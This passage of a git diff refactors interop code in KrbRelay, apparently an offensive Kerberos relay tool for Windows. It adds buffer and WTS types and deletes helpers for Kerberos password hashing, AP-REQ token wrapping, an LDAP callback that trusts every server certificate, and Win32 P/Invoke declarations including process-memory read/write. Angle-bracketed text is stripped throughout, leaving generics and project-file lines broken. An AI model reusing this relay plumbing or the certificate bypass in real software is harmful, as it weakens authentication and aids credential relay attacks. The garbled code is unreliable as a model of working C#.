+ return GetTokenBuffer().ToByteArray();
+ }
+
+ public SecurityBuffer UpdateTokenBytes(byte[] bytes)
+ {
+ SecurityBuffer tokenBuffer = GetTokenBuffer();
+ tokenBuffer.Replace(bytes);
+ return tokenBuffer;
+ }
+
+ public void Dispose()
+ {
+ if (BufferPtr != IntPtr.Zero)
+ {
+ foreach (var buffer in GetBuffers())
+ {
+ buffer.Dispose();
+ }
+
+ Marshal.FreeHGlobal(BufferPtr);
+ BufferPtr = IntPtr.Zero;
+ }
+ }
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct SecurityBuffer : IDisposable
+ {
+ public int Count;
+ public SecurityBufferType BufferType;
+ public IntPtr Token;
+
+ public SecurityBuffer(int bufferSize)
+ {
+ Count = bufferSize;
+ BufferType = SecurityBufferType.Token;
+ Token = Marshal.AllocHGlobal(bufferSize);
+ }
+
+ public SecurityBuffer(byte[] bytes)
+ {
+ Count = bytes.Length;
+ BufferType = SecurityBufferType.Token;
+ Token = Marshal.AllocHGlobal(bytes.Length);
+ Marshal.Copy(bytes, 0, Token, bytes.Length);
+ }
+
+ public SecurityBuffer(byte[] bytes, SecurityBufferType bufferType)
+ {
+ BufferType = bufferType;
+
+ if (bytes != null && bytes.Length != 0)
+ {
+ Count = bytes.Length;
+ Token = Marshal.AllocHGlobal(Count);
+ Marshal.Copy(bytes, 0, Token, Count);
+ }
+ else
+ {
+ Count = 0;
+ Token = IntPtr.Zero;
+ }
+ }
+
+ public byte[] ToByteArray()
+ {
+ var bytes = new List();
+ for (int i = 0; i < Count; i++)
+ {
+ bytes.Add(Marshal.ReadByte(Token + i));
+ }
+
+ return bytes.ToArray();
+ }
+
+ public void Replace(byte[] newBytes)
+ {
+ if (newBytes.Length > Count)
+ {
+ throw new InvalidOperationException("Allocated buffer is too small");
+ };
+ Count = newBytes.Length;
+ Marshal.Copy(newBytes, 0, Token, Count);
+ }
+
+ public void Dispose()
+ {
+ if (Token != IntPtr.Zero)
+ {
+ Marshal.FreeHGlobal(Token);
+ Token = IntPtr.Zero;
+ }
+ }
+ }
+}
diff --git a/KrbRelay/Interop/WTS.cs b/KrbRelay/Interop/WTS.cs
new file mode 100644
index 0000000..ce3b6c6
--- /dev/null
+++ b/KrbRelay/Interop/WTS.cs
@@ -0,0 +1,40 @@
+
+// All enums, structs, and helper types related to the WTS/Session subsystem
+
+namespace KrbRelay
+{
+ internal enum WtsInfoClass
+ {
+ InitialProgram = 0,
+ ApplicationName = 1,
+ WorkingDirectory = 2,
+ OEMId = 3,
+ SessionId = 4,
+ UserName = 5,
+ WinStationName = 6,
+ DomainName = 7,
+ ConnectState = 8,
+ ClientBuildNumber = 9,
+ ClientName = 10,
+ ClientDirectory = 11,
+ ClientProductId = 12,
+ ClientHardwareId = 13,
+ ClientAddress = 14,
+ ClientDisplay = 15,
+ ClientProtocolType = 16
+ }
+
+ internal enum WtsConnectStateClass
+ {
+ Active,
+ Connected,
+ ConnectQuery,
+ Shadow,
+ Disconnected,
+ Idle,
+ Listen,
+ Reset,
+ Down,
+ Init
+ }
+}
diff --git a/KrbRelay/KrbRelay.csproj b/KrbRelay/KrbRelay.csproj
index 5ad04a2..1133d16 100644
--- a/KrbRelay/KrbRelay.csproj
+++ b/KrbRelay/KrbRelay.csproj
@@ -42,6 +42,7 @@
prompt
4
false
+ true
AnyCPU
@@ -84,12 +85,12 @@
-
+
-
+
@@ -98,6 +99,8 @@
+
+
@@ -121,23 +124,28 @@
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
-
+
+
-
+
@@ -875,13 +883,14 @@
-
+
+
diff --git a/KrbRelay/Misc/Helpers.cs b/KrbRelay/Misc/Helpers.cs
deleted file mode 100644
index 191324b..0000000
--- a/KrbRelay/Misc/Helpers.cs
+++ /dev/null
@@ -1,375 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.ComponentModel;
-using System.Globalization;
-using System.IO;
-using System.Linq;
-using System.Runtime.InteropServices;
-using System.Text;
-
-namespace KrbRelay
-{
- internal class Helpers
- {
-
-
- //https://github.com/rvazarkar/GMSAPasswordReader
- public static string KerberosPasswordHash(Interop.KERB_ETYPE etype, string password, string salt = "", int count = 4096)
- {
- // use the internal KERB_ECRYPT HashPassword() function to calculate a password hash of a given etype
- // adapted from @gentilkiwi's Mimikatz "kerberos::hash" implementation
-
- Interop.KERB_ECRYPT pCSystem;
- IntPtr pCSystemPtr;
-
- // locate the crypto system for the hash type we want
- int status = Interop.CDLocateCSystem(etype, out pCSystemPtr);
-
- pCSystem = (Interop.KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));
- if (status != 0)
- throw new System.ComponentModel.Win32Exception(status, "Error on CDLocateCSystem");
-
- // get the delegate for the password hash function
- Interop.KERB_ECRYPT_HashPassword pCSystemHashPassword = (Interop.KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pCSystem.HashPassword, typeof(Interop.KERB_ECRYPT_HashPassword));
- Interop.UNICODE_STRING passwordUnicode = new Interop.UNICODE_STRING(password);
- Interop.UNICODE_STRING saltUnicode = new Interop.UNICODE_STRING(salt);
-
- byte[] output = new byte[pCSystem.KeySize];
-
- int success = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output);
-
- if (status != 0)
- throw new Win32Exception(status);
-
- return System.BitConverter.ToString(output).Replace("-", "");
- }
-
- public static byte[] unhexlify(string hexvalue)
- {
- if (hexvalue.Length % 2 != 0)
- hexvalue = "0" + hexvalue;
- int len = hexvalue.Length / 2;
- byte[] bytes = new byte[len];
- for (int i = 0; i < len; i++)
- {
- string byteString = hexvalue.Substring(2 * i, 2);
- bytes[i] = Convert.ToByte(byteString, 16);
- }
- return bytes;
- }
-
- public static string ByteArrayToString(byte[] ba)
- {
- StringBuilder hex = new StringBuilder(ba.Length * 2);
- foreach (byte b in ba)
- hex.AppendFormat("{0:x2}", b);
- return hex.ToString();
- }
-
- public static byte[] StringToByteArray(string s)
- {
- return Enumerable.Range(0, s.Length)
- .Where(x => x % 2 == 0)
- .Select(x => Convert.ToByte(s.Substring(x, 2), 16))
- .ToArray();
- }
-
- public static void PrintProperties(object myObj, string header = "", int offset = 0)
- {
- string trail = String.Concat(Enumerable.Repeat(" ", offset));
-
- if (!string.IsNullOrEmpty(header))
- Console.WriteLine(header);
-
- foreach (var prop in myObj.GetType().GetProperties())
- {
- try
- {
- if (!string.IsNullOrEmpty((string)(prop.GetValue(myObj, null))))
- Console.WriteLine(trail + prop.Name + ": " + prop.GetValue(myObj, null));
- }
- catch (Exception e)
- {
- Console.WriteLine(trail + prop.Name + ": " + prop.GetValue(myObj, null));
- }
- }
-
- foreach (var field in myObj.GetType().GetFields())
- {
- try
- {
- if (!string.IsNullOrEmpty((string)field.GetValue(myObj)))
- Console.WriteLine(trail + field.Name + ": " + field.GetValue(myObj));
- }
- catch (Exception e)
- {
- Console.WriteLine(trail + field.Name + ": " + field.GetValue(myObj));
- }
- }
- }
-
- public static T ReadStruct(byte[] array) where T : struct
- {
- var handle = GCHandle.Alloc(array, GCHandleType.Pinned);
- var mystruct = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
- handle.Free();
-
- return mystruct;
- }
-
- public static int FieldOffset(string fieldName)
- {
- return Marshal.OffsetOf(typeof(T), fieldName).ToInt32();
- }
-
- public static int StructFieldOffset(Type s, string field)
- {
- var ex = typeof(Program);
- var mi = ex.GetMethod("FieldOffset");
- var miConstructed = mi.MakeGenericMethod(s);
- object[] args = { field };
- return (int)miConstructed.Invoke(null, args);
- }
-
- private static string GenRandomName()
- {
- Random r = new Random();
- StringBuilder builder = new StringBuilder();
-
- for (int i = 0; i < 8; i++)
- {
- int c = r.Next(26);
- builder.Append((char)('A' + c));
- }
-
- return builder.ToString();
- }
-
- public static byte[] EncodeLength(int length)
-
- {
- if (length < 0x80)
-
- return new byte[] { (byte)length };
-
- if (length < 0x100)
-
- return new byte[] { 0x81, (byte)length };
-
- if (length < 0x10000)
-
- return new byte[] { 0x82, (byte)(length >> 8),
-
- (byte)(length & 0xFF) };
-
- throw new ArgumentException("Invalid length", nameof(length));
- }
-
- public static byte[] ConvertApReq(byte[] token)
- {
- if (token.Length == 0 || token[0] != 0x6E) //return if packet is not kerberos
- return token;
-
- MemoryStream stm = new MemoryStream();
-
- BinaryWriter writer = new BinaryWriter(stm);
-
- //write KRB5_OID + KRB5_tok_ID
- byte[] header = new byte[] { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02, 0x01, 0x00 };
-
- writer.Write((byte)0x60);
-
- writer.Write(EncodeLength(header.Length + token.Length));
-
- writer.Write(header);
-
- writer.Write(token);
-
- return stm.ToArray();
- }
-
- public static List SearchBytePattern(byte[] pattern, byte[] bytes)
- {
- List positions = new List();
- int patternLength = pattern.Length;
- int totalLength = bytes.Length;
- byte firstMatchByte = pattern[0];
- for (int i = 0; i < totalLength; i++)
- {
- if (firstMatchByte == bytes[i] && totalLength - i >= patternLength)
- {
- byte[] match = new byte[patternLength];
- Array.Copy(bytes, i, match, 0, patternLength);
- if (match.SequenceEqual(pattern))
- {
- positions.Add(i);
- i += patternLength - 1;
- }
- }
- }
- return positions;
- }
-
- public static byte[] Combine(params byte[][] arrays)
- {
- byte[] ret = new byte[arrays.Sum(x => x.Length)];
- int offset = 0;
- foreach (byte[] data in arrays)
- {
- Buffer.BlockCopy(data, 0, ret, offset, data.Length);
- offset += data.Length;
- }
- return ret;
- }
-
- public static int PatternAt(byte[] src, byte[] pattern, bool firstMatch = false)
- {
- int maxFirstCharSlot = src.Length - pattern.Length + 1;
- for (int i = 0; i < maxFirstCharSlot; i++)
- {
- if (src[i] != pattern[0]) // compare only first byte
- continue;
- if (firstMatch == true)
- return i;
- // found a match on first byte, now try to match rest of the pattern
- for (int j = pattern.Length - 1; j >= 1; j--)
- {
- if (src[i + j] != pattern[j]) break;
- if (j == 1) return i;
- }
- }
- return -1;
- }
-
- public static byte[] ConvertHexStringToByteArray(string hexString)
- {
- if (hexString.Length % 2 != 0)
- {
- throw new ArgumentException(String.Format(CultureInfo.InvariantCulture, "The binary key cannot have an odd number of digits: {0}", hexString));
- }
-
- byte[] data = new byte[hexString.Length / 2];
- for (int index = 0; index < data.Length; index++)
- {
- string byteValue = hexString.Substring(index * 2, 2);
- data[index] = byte.Parse(byteValue, NumberStyles.HexNumber, CultureInfo.InvariantCulture);
- }
-
- return data;
- }
-
- //ldap
-
-
- internal static IEnumerable GetPointerArray(IntPtr array)
- {
- if (array != IntPtr.Zero)
- {
- var count = 0;
- var tempPtr = Marshal.ReadIntPtr(array, count * IntPtr.Size);
- while (tempPtr != IntPtr.Zero)
- {
- yield return tempPtr;
- count++;
- tempPtr = Marshal.ReadIntPtr(array, count * IntPtr.Size);
- }
- }
- }
-
- internal static IntPtr AllocHGlobalIntPtrArray(int size)
- {
- checked
- {
- var intPtrArray = Marshal.AllocHGlobal(IntPtr.Size * size);
- for (var i = 0; i < size; i++)
- {
- Marshal.WriteIntPtr(intPtrArray, IntPtr.Size * i, IntPtr.Zero);
- }
-
- return intPtrArray;
- }
- }
-
- internal static void StructureArrayToPtr(IEnumerable array, IntPtr ptr, bool endNull = false)
- {
- var ptrArray = array.Select(structure =>
- {
- var structPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(T)));
- Marshal.StructureToPtr(structure, structPtr, false);
- return structPtr;
- }).ToList();
- if (endNull)
- {
- ptrArray.Add(IntPtr.Zero);
- }
-
- Marshal.Copy(ptrArray.ToArray(), 0, ptr, ptrArray.Count);
- }
-
- internal static void ByteArraysToBerValueArray(byte[][] sourceData, IntPtr ptr)
- {
- for (var i = 0; i < sourceData.Length; i++)
- {
- var berPtr = ByteArrayToBerValue(sourceData[i]);
- Marshal.WriteIntPtr(ptr, i * IntPtr.Size, berPtr);
- }
-
- Marshal.WriteIntPtr(ptr, sourceData.Length * IntPtr.Size, IntPtr.Zero);
- }
-
- internal static IntPtr ByteArrayToBerValue(byte[] bytes)
- {
- var berPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Natives.berval)));
- var valPtr = Marshal.AllocHGlobal(bytes.Length);
- Marshal.Copy(bytes, 0, valPtr, bytes.Length);
- Marshal.StructureToPtr(new Natives.berval
- {
- bv_val = valPtr,
- bv_len = bytes.Length
- }, berPtr, true);
- return berPtr;
- }
-
- internal static void BerValFree(IntPtr berval)
- {
- if (berval != IntPtr.Zero)
- {
- var b = (Natives.berval)Marshal.PtrToStructure(berval, typeof(Natives.berval));
- Marshal.FreeHGlobal(b.bv_val);
- Marshal.FreeHGlobal(berval);
- }
- }
-
- internal static void BerValuesFree(IntPtr array)
- {
- foreach (var ptr in GetPointerArray(array))
- {
- BerValFree(ptr);
- }
- }
-
- public static List BerValArrayToByteArrays(IntPtr ptr)
- {
- var result = new List();
- foreach (var tempPtr in GetPointerArray(ptr))
- {
- var bervalue = new Natives.berval();
- Marshal.PtrToStructure(tempPtr, bervalue);
- if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero)
- {
- var byteArray = new byte[bervalue.bv_len];
- Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len);
- result.Add(byteArray);
- }
- }
-
- return result;
- }
-
- public static uint TrustAllCertificates(IntPtr ld)
- {
- return Natives.ldap_set_option(ld, 0x81, //LDAP_OPT_SERVER_CERTIFICATE
- Marshal.GetFunctionPointerForDelegate((connection, serverCert) => true));
- }
- }
-}
\ No newline at end of file
diff --git a/KrbRelay/Misc/Interop.cs b/KrbRelay/Misc/Interop.cs
deleted file mode 100644
index 61f8320..0000000
--- a/KrbRelay/Misc/Interop.cs
+++ /dev/null
@@ -1,96 +0,0 @@
-using System;
-using System.Runtime.InteropServices;
-
-namespace KrbRelay
-{
- ///
- /// Taken and stripped from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Interop.cs
- ///
- public class Interop
- {
- // constants
-
- // Enums
- // from https://tools.ietf.org/html/rfc3961
- public enum KERB_ETYPE : UInt32
- {
- des_cbc_crc = 1,
- des_cbc_md4 = 2,
- des_cbc_md5 = 3,
- des3_cbc_md5 = 5,
- des3_cbc_sha1 = 7,
- dsaWithSHA1_CmsOID = 9,
- md5WithRSAEncryption_CmsOID = 10,
- sha1WithRSAEncryption_CmsOID = 11,
- rc2CBC_EnvOID = 12,
- rsaEncryption_EnvOID = 13,
- rsaES_OAEP_ENV_OID = 14,
- des_ede3_cbc_Env_OID = 15,
- des3_cbc_sha1_kd = 16,
- aes128_cts_hmac_sha1 = 17,
- aes256_cts_hmac_sha1 = 18,
- rc4_hmac = 23,
- rc4_hmac_exp = 24,
- subkey_keymaterial = 65
- }
-
- // structs
- // From Vincent LE TOUX' "MakeMeEnterpriseAdmin"
- // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794
- [StructLayout(LayoutKind.Sequential)]
- public struct KERB_ECRYPT
- {
- private int Type0;
- public int BlockSize;
- private int Type1;
- public int KeySize;
- public int Size;
- private int unk2;
- private int unk3;
- public IntPtr AlgName;
- public IntPtr Initialize;
- public IntPtr Encrypt;
- public IntPtr Decrypt;
- public IntPtr Finish;
- public IntPtr HashPassword;
- private IntPtr RandomKey;
- private IntPtr Control;
- private IntPtr unk0_null;
- private IntPtr unk1_null;
- private IntPtr unk2_null;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct UNICODE_STRING : IDisposable
- {
- public ushort Length;
- public ushort MaximumLength;
- public IntPtr buffer;
-
- public UNICODE_STRING(string s)
- {
- Length = (ushort)(s.Length * 2);
- MaximumLength = (ushort)(Length + 2);
- buffer = Marshal.StringToHGlobalUni(s);
- }
-
- public void Dispose()
- {
- Marshal.FreeHGlobal(buffer);
- buffer = IntPtr.Zero;
- }
-
- public override string ToString()
- {
- return Marshal.PtrToStringUni(buffer);
- }
- }
-
- // functions
- // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
- [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)]
- public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum);
-
- public delegate int KERB_ECRYPT_HashPassword(UNICODE_STRING Password, UNICODE_STRING Salt, int count, byte[] output);
- }
-}
\ No newline at end of file
diff --git a/KrbRelay/Misc/Natives.cs b/KrbRelay/Misc/Natives.cs
deleted file mode 100644
index 3fe777c..0000000
--- a/KrbRelay/Misc/Natives.cs
+++ /dev/null
@@ -1,924 +0,0 @@
-using SMBLibrary;
-using System;
-using System.Runtime.InteropServices;
-using System.Text;
-
-namespace KrbRelay
-{
- internal class Natives
- {
- public enum WTS_INFO_CLASS
- {
- InitialProgram = 0,
- ApplicationName = 1,
- WorkingDirectory = 2,
- OEMId = 3,
- SessionId = 4,
- UserName = 5,
- WinStationName = 6,
- DomainName = 7,
- ConnectState = 8,
- ClientBuildNumber = 9,
- ClientName = 10,
- ClientDirectory = 11,
- ClientProductId = 12,
- ClientHardwareId = 13,
- ClientAddress = 14,
- ClientDisplay = 15,
- ClientProtocolType = 16
- }
-
- public enum WTS_CONNECTSTATE_CLASS
- {
- Active,
- Connected,
- ConnectQuery,
- Shadow,
- Disconnected,
- Idle,
- Listen,
- Reset,
- Down,
- Init
- }
-
- [DllImport("wldap32", EntryPoint = "ldap_set_option", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- public static extern uint ldap_set_option(IntPtr ld, uint option, ref uint invalue);
-
- [DllImport("wldap32", EntryPoint = "ldap_set_option", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- public static extern uint ldap_set_option(IntPtr ld, uint option, IntPtr pointer);
-
- [DllImport("wldap32", EntryPoint = "ldap_connect", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern uint ldap_connect(IntPtr ld, LDAP_TIMEVAL timeout);
-
- [DllImport("wldap32", EntryPoint = "ldap_initA", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern IntPtr ldap_init(string hostname, uint port);
-
- [DllImport("wldap32", EntryPoint = "ldap_sasl_bind_sA", CharSet = CharSet.Ansi)]
- public static extern int ldap_sasl_bind(
- [In] IntPtr ld,
- string dn, string mechanism,
- IntPtr cred,
- IntPtr serverctrls,
- IntPtr clientctrls,
- out IntPtr msgidp);
-
- [StructLayout(LayoutKind.Sequential)]
- internal sealed class berval
- {
- public int bv_len;
- public IntPtr bv_val = IntPtr.Zero;
-
- public berval()
- { }
- }
-
- [DllImport("wldap32", EntryPoint = "ldap_get_optionW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern int ldap_get_option(IntPtr ld, int option, out int value);
-
- [DllImport("wldap32", EntryPoint = "ldap_searchW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern int ldap_search(
- IntPtr ld,
- string @base,
- int scope,
- string filter,
- IntPtr attrs,
- int attrsonly);
-
- [StructLayout(LayoutKind.Sequential)]
- public sealed class LDAP_TIMEVAL
- {
- public int tv_sec;
- public int tv_usec;
- }
-
- [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern int ldap_result(
- IntPtr ld,
- int msgid,
- int all,
- LDAP_TIMEVAL timeout,
- ref IntPtr pMessage);
-
- [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern IntPtr ldap_first_entry(
- IntPtr ld,
- IntPtr pMessage);
-
- [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern IntPtr ldap_next_entry(
- IntPtr ld,
- IntPtr pMessage);
-
- [DllImport("wldap32", EntryPoint = "ldap_get_dnW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern IntPtr ldap_get_dn(IntPtr ld, IntPtr message);
-
- [DllImport("wldap32", EntryPoint = "ldap_first_attributeW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern IntPtr ldap_first_attribute(IntPtr ld, IntPtr entry, ref IntPtr ppBer);
-
- [DllImport("wldap32", EntryPoint = "ldap_next_attributeW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern IntPtr ldap_next_attribute(IntPtr ld, IntPtr entry, ref IntPtr ppBer);
-
- [DllImport("wldap32", EntryPoint = "ldap_next_attributeW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern IntPtr ldap_next_attribute(IntPtr ld, IntPtr entry, IntPtr ppBer);
-
- [DllImport("wldap32", EntryPoint = "ldap_get_values_lenW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern IntPtr ldap_get_values_len(IntPtr ld, IntPtr entry, IntPtr pBer);
-
- [DllImport("wldap32", EntryPoint = "ldap_modify_s", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern int ldap_modify_s(IntPtr ld, string dn, IntPtr mods);
-
- [DllImport("wldap32")]
- internal static extern int ldap_unbind(IntPtr ld);
-
- [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
- internal static extern void ldap_value_free_len(IntPtr vals);
-
- [DllImport("Wtsapi32.dll")]
- public static extern bool WTSQuerySessionInformation(IntPtr hServer, int sessionId, WTS_INFO_CLASS wtsInfoClass, out System.IntPtr ppBuffer, out uint pBytesReturned);
-
- [DllImport("advapi32.dll", EntryPoint = "SystemFunction018", SetLastError = true, CallingConvention = CallingConvention.StdCall)]
- private static extern NTStatus RtlEncryptNtOwfPwdWithNtSesKey([In] byte[] ntOwfPassword, [In] ref byte[] sessionkey, [In, Out] byte[] encryptedNtOwfPassword);
-
- [DllImport("advapi32.dll", EntryPoint = "SystemFunction018", SetLastError = true, CallingConvention = CallingConvention.StdCall)]
- private static extern NTStatus RtlEncryptNtOwfPwdWithNtSesKey([In] byte[] ntOwfPassword, [In] byte[] sessionkey, [In, Out] byte[] encryptedNtOwfPassword);
-
- internal static NTStatus RtlEncryptNtOwfPwdWithNtSesKey(byte[] ntOwfPassword, byte[] sessionkey, out byte[] encryptedNtOwfPassword)
- {
- encryptedNtOwfPassword = new byte[16];
- return RtlEncryptNtOwfPwdWithNtSesKey(ntOwfPassword, ref sessionkey, encryptedNtOwfPassword);
- }
-
- [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- public static extern int AcquireCredentialsHandle(
- string pszPrincipal, //SEC_CHAR*
- string pszPackage, //SEC_CHAR* //"Kerberos","NTLM","Negotiative"
- int fCredentialUse,
- IntPtr PAuthenticationID,//_LUID AuthenticationID,//pvLogonID,//PLUID
- IntPtr pAuthData,//PVOID
- IntPtr pGetKeyFn, //SEC_GET_KEY_FN
- IntPtr pvGetKeyArgument, //PVOID
- ref SECURITY_HANDLE phCredential, //SecHandle //PCtxtHandle ref
- IntPtr ptsExpiry //PTimeStamp //TimeStamp ref
- );
-
- [DllImport("Secur32.dll", CharSet = CharSet.Unicode)]
- public static extern SecStatusCode AcceptSecurityContext(
- [In] SecHandle phCredential,
- [In] SecHandle phContext,
- [In] SecurityBufferDescriptor pInput,
- AcceptContextReqFlags fContextReq,
- SecDataRep TargetDataRep,
- [In, Out] SecHandle phNewContext,
- [In, Out] SecurityBufferDescriptor pOutput,
- out AcceptContextRetFlags pfContextAttr,
- [Out] SECURITY_INTEGER ptsExpiry
- );
-
- [DllImport("secur32.DLL", CharSet = CharSet.Unicode)]
- public static extern IntPtr InitSecurityInterface();
-
- [DllImport("ntdll.dll")]
- public static extern UInt32 NtQueryInformationProcess(
- IntPtr processHandle,
- UInt32 processInformationClass,
- ref PROCESS_BASIC_INFORMATION processInformation,
- int processInformationLength,
- ref UInt32 returnLength);
-
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern IntPtr OpenProcess(
- uint processAccess,
- bool bInheritHandle,
- int processId);
-
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern IntPtr GetCurrentProcess();
-
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern bool CloseHandle(IntPtr hObject);
-
- [DllImport("kernel32.dll", SetLastError = true)]
- [PreserveSig]
- public static extern uint GetModuleFileName(
- [In] IntPtr hModule,
- [Out] StringBuilder lpFilename,
- [In][MarshalAs(UnmanagedType.U4)]
- int nSize);
-
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
-
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern bool ReadProcessMemory(
- IntPtr hProcess,
- IntPtr lpBaseAddress,
- byte[] lpBuffer,
- Int32 nSize,
- out IntPtr lpNumberOfBytesRead);
-
- [DllImport("rpcrt4.dll")]
- public static extern int RpcServerUseProtseqEp(
- string Protseq,
- uint MaxCalls,
- string Endpoint,
- IntPtr SecurityDescriptor);
-
- [DllImport("Rpcrt4.dll", EntryPoint = "RpcServerRegisterAuthInfo", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)]
- public static extern int RpcServerRegisterAuthInfo(String ServerPrincName, uint AuthnSvc, IntPtr GetKeyFn, IntPtr Arg);
-
- [DllImport("ole32.dll")]
- public static extern int CoInitializeSecurity(
- IntPtr pSecDesc,
- int cAuthSvc,
- SOLE_AUTHENTICATION_SERVICE[] asAuthSvc,
- IntPtr pReserved1,
- AuthnLevel dwAuthnLevel,
- ImpLevel dwImpLevel,
- IntPtr pAuthList,
- EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities,
- IntPtr pReserved3
- );
-
- //deleg
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate bool VERIFYSERVERCERT(
- IntPtr connection,
- IntPtr pServerCert);
-
- [UnmanagedFunctionPointer(CallingConvention.StdCall)]
- public delegate int RPC_IF_CALLBACK_FN(IntPtr InterfaceUuid, IntPtr Context);
-
- public delegate SecStatusCode AcceptSecurityContextFunc(
- [In] SecHandle phCredential,
- [In] SecHandle phContext,
- [In] SecurityBufferDescriptor pInput,
- AcceptContextReqFlags fContextReq,
- SecDataRep TargetDataRep,
- [In, Out] SecHandle phNewContext,
- [In, Out] IntPtr pOutput,
- out AcceptContextRetFlags pfContextAttr,
- [Out] SECURITY_INTEGER ptsExpiry);
-
- //structs
- public enum EOLE_AUTHENTICATION_CAPABILITIES
- {
- EOAC_NONE = 0,
- EOAC_MUTUAL_AUTH = 0x1,
- EOAC_STATIC_CLOAKING = 0x20,
- EOAC_DYNAMIC_CLOAKING = 0x40,
- EOAC_ANY_AUTHORITY = 0x80,
- EOAC_MAKE_FULLSIC = 0x100,
- EOAC_DEFAULT = 0x800,
- EOAC_SECURE_REFS = 0x2,
- EOAC_ACCESS_CONTROL = 0x4,
- EOAC_APPID = 0x8,
- EOAC_DYNAMIC = 0x10,
- EOAC_REQUIRE_FULLSIC = 0x200,
- EOAC_AUTO_IMPERSONATE = 0x400,
- EOAC_NO_CUSTOM_MARSHAL = 0x2000,
- EOAC_DISABLE_AAA = 0x1000
- }
-
- public enum AuthnLevel
- {
- RPC_C_AUTHN_LEVEL_DEFAULT = 0,
- RPC_C_AUTHN_LEVEL_NONE = 1,
- RPC_C_AUTHN_LEVEL_CONNECT = 2,
- RPC_C_AUTHN_LEVEL_CALL = 3,
- RPC_C_AUTHN_LEVEL_PKT = 4,
- RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5,
- RPC_C_AUTHN_LEVEL_PKT_PRIVACY = 6
- }
-
- public enum ImpLevel
- {
- RPC_C_IMP_LEVEL_DEFAULT = 0,
- RPC_C_IMP_LEVEL_ANONYMOUS = 1,
- RPC_C_IMP_LEVEL_IDENTIFY = 2,
- RPC_C_IMP_LEVEL_IMPERSONATE = 3,
- RPC_C_IMP_LEVEL_DELEGATE = 4,
- }
-
- public struct SOLE_AUTHENTICATION_SERVICE
- {
- public int dwAuthnSvc;
- public int dwAuthzSvc;
- [MarshalAs(UnmanagedType.LPWStr)] public string pPrincipalName;
- public int hr;
- }
-
- public struct PROCESS_BASIC_INFORMATION
- {
- public IntPtr ExitStatus;
- public IntPtr PebBaseAddress;
- public IntPtr AffinityMask;
- public IntPtr BasePriority;
- public UIntPtr UniqueProcessId;
- public int InheritedFromUniqueProcessId;
-
- public int Size
- {
- get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
- }
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct UNICODE_STRING
- {
- public UInt16 Length;
- public UInt16 MaximumLength;
- public IntPtr Buffer;
- }
-
- [Flags]
- public enum AcceptContextRetFlags
- {
- None = 0,
- Delegate = 0x00000001,
- MutualAuth = 0x00000002,
- ReplayDetect = 0x00000004,
- SequenceDetect = 0x00000008,
- Confidentiality = 0x00000010,
- UseSessionKey = 0x00000020,
- SessionTicket = 0x00000040,
- AllocatedMemory = 0x00000100,
- UsedDceStyle = 0x00000200,
- Datagram = 0x00000400,
- Connection = 0x00000800,
- CallLevel = 0x00002000,
- ThirdLegFailed = 0x00004000,
- ExtendedError = 0x00008000,
- Stream = 0x00010000,
- Integrity = 0x00020000,
- Licensing = 0x00040000,
- Identify = 0x00080000,
- NullSession = 0x00100000,
- AllowNonUserLogons = 0x00200000,
- AllowContextReplay = 0x00400000,
- FragmentOnly = 0x00800000,
- NoToken = 0x01000000,
- NoAdditionalToken = 0x02000000,
- }
-
- [Flags]
